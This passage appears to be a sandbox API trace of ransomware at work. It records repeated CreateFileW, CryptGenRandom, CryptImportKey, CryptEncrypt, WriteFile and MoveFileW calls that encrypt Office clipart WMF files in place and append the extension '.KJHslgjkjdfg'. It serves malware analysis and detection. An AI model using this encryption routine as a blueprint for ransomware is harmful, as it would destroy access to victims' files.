pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20) returned 1 [0195.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.242] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b20, lpOverlapped=0x0) returned 1 [0195.242] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.242] SetEndOfFile (hFile=0x130) returned 1 [0195.245] GetProcessHeap () returned 0x2ef0000 [0195.245] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.245] GetProcessHeap () returned 0x2ef0000 [0195.245] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.kjhslgjkjdfg")) returned 1 [0195.246] CloseHandle (hObject=0x130) returned 1 [0195.246] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0195.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.247] GetProcessHeap () returned 0x2ef0000 [0195.247] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.247] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.247] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.249] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.249] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.249] GetProcessHeap () returned 0x2ef0000 [0195.250] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.250] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.250] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.250] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.250] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.250] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.250] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.250] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3044, lpOverlapped=0x0) returned 1 [0195.251] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3050, dwBufLen=0x3050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3050) returned 1 [0195.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.252] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3050, lpOverlapped=0x0) returned 1 [0195.252] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.252] SetEndOfFile (hFile=0x130) returned 1 [0195.255] GetProcessHeap () returned 0x2ef0000 [0195.255] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.255] GetProcessHeap () returned 0x2ef0000 [0195.255] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.kjhslgjkjdfg")) returned 1 [0195.256] CloseHandle (hObject=0x130) returned 1 [0195.256] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0195.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.260] GetProcessHeap () returned 0x2ef0000 [0195.260] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.260] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.262] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.262] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.262] GetProcessHeap () returned 0x2ef0000 [0195.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.262] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.262] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.263] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a7c, lpOverlapped=0x0) returned 1 [0195.264] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a80) returned 1 [0195.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.264] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a80, lpOverlapped=0x0) returned 1 [0195.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.265] SetEndOfFile (hFile=0x130) returned 1 [0195.267] GetProcessHeap () returned 0x2ef0000 [0195.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.267] GetProcessHeap () returned 0x2ef0000 [0195.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.kjhslgjkjdfg")) returned 1 [0195.269] CloseHandle (hObject=0x130) returned 1 [0195.269] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0195.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.269] GetProcessHeap () returned 0x2ef0000 [0195.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.269] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.272] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.272] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.272] GetProcessHeap () returned 0x2ef0000 [0195.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.273] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8e8, lpOverlapped=0x0) returned 1 [0195.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f0) returned 1 [0195.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.273] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8f0, lpOverlapped=0x0) returned 1 [0195.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.274] SetEndOfFile (hFile=0x130) returned 1 [0195.276] GetProcessHeap () returned 0x2ef0000 [0195.276] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.276] GetProcessHeap () returned 0x2ef0000 [0195.276] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.kjhslgjkjdfg")) returned 1 [0195.277] CloseHandle (hObject=0x130) returned 1 [0195.277] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0195.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.278] GetProcessHeap () returned 0x2ef0000 [0195.278] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.278] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.278] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.278] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.278] GetProcessHeap () returned 0x2ef0000 [0195.278] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.278] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.278] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.281] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.281] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.281] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.281] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.282] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e0, lpOverlapped=0x0) returned 1 [0195.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e0) returned 1 [0195.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.282] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e0, lpOverlapped=0x0) returned 1 [0195.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.282] SetEndOfFile (hFile=0x130) returned 1 [0195.284] GetProcessHeap () returned 0x2ef0000 [0195.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.284] GetProcessHeap () returned 0x2ef0000 [0195.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: 